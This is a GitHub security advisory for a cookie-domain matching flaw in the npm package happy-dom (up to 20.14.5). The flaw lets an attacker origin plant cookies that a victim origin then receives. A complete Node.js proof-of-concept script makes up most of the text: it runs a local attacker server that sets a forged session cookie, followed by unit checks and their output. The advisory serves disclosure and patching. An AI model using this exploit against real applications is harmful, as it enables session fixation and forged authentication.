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Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Moderate severity GitHub Reviewed Published Oct 8, 2026 in capricorn86/happy-dom • Updated Oct 28, 2026

Package

npm happy-dom (npm)

Affected versions

<= 20.14.5

Patched versions

20.14.6

Description

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

References

@capricorn86 capricorn86 published to capricorn86/happy-dom Oct 8, 2026
Published to the GitHub Advisory Database Oct 28, 2026
Reviewed Oct 28, 2026
Last updated Oct 28, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(20th percentile)

Weaknesses

Reliance on Cookies without Validation and Integrity Checking

The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user. Learn more on MITRE.

CVE ID

CVE-2026-118661

GHSA ID

GHSA-5fpq-26gf-qwcr

Source code

Credits

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